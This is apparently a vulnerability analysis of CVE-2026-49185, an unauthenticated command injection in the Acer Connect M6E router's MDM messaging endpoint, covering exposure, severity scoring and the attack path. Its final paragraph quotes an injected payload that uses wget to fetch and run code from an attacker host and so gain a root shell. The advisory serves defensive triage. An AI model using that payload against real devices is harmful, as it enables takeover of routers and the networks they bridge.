Acer Connect M6E CVE-2026-49185

Network reachability to the router's FieldX MDM messaging endpoint (the adb topic) on an affected Acer Connect M6E running firmware ≤ M6E_AI_1.00.000019 - no authentication, no user interaction, and no special configuration are required per the CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N). The practical limiter is reachability of the MDM message bus: on a portable WiFi router this is most commonly exposed to clients on the device's LAN/WLAN, so trivial exploitation assumes the attacker can associate with the hotspot or reach it from an adjacent network; exploitation from the public internet additionally requires that WAN-side management or the MDM transport be reachable from outside, which depends on deployment.

Every signal points to maximum priority: CVSS 4.0 base score 10.0 with AV:N/AC:L/AT:N/PR:N/UI:N (network, low complexity, no auth, no user interaction) and full High impact across confidentiality, integrity, availability - plus subsequent-system (SC:H/SI:H/SA:H) impact indicating compromise can propagate beyond the router itself into connected client networks. This is not a high-CVSS-but-low-real-risk case; the affected device is a portable 5G hotspot frequently used in field/enterprise mobile workflows, meaning a compromised unit becomes a foothold into whichever LAN it bridges. The vulnerability is not listed in CISA KEV and no EPSS score is provided in the input, so exploitation telemetry is unknown; however, the trivial nature of a Runtime.exec() injection and the absence of authentication mean detection in the wild may simply lag publication. No public exploit identified at time of analysis, but the Acer advisory text itself effectively describes the sink, lowering the bar to weaponization.

An attacker on the same network segment as the router - or reaching it over the internet if WAN-side management is exposed - publishes a crafted message to the FieldX MDM adb topic containing shell metacharacters such as ;wget http://attacker/x;sh x;, which the receiver passes verbatim to Runtime.exec() and executes as the MDM daemon. The attacker gains a root-level shell on the router, can intercept or modify traffic for every connected client, and pivots from the portable hotspot into whichever corporate or personal LAN it bridges.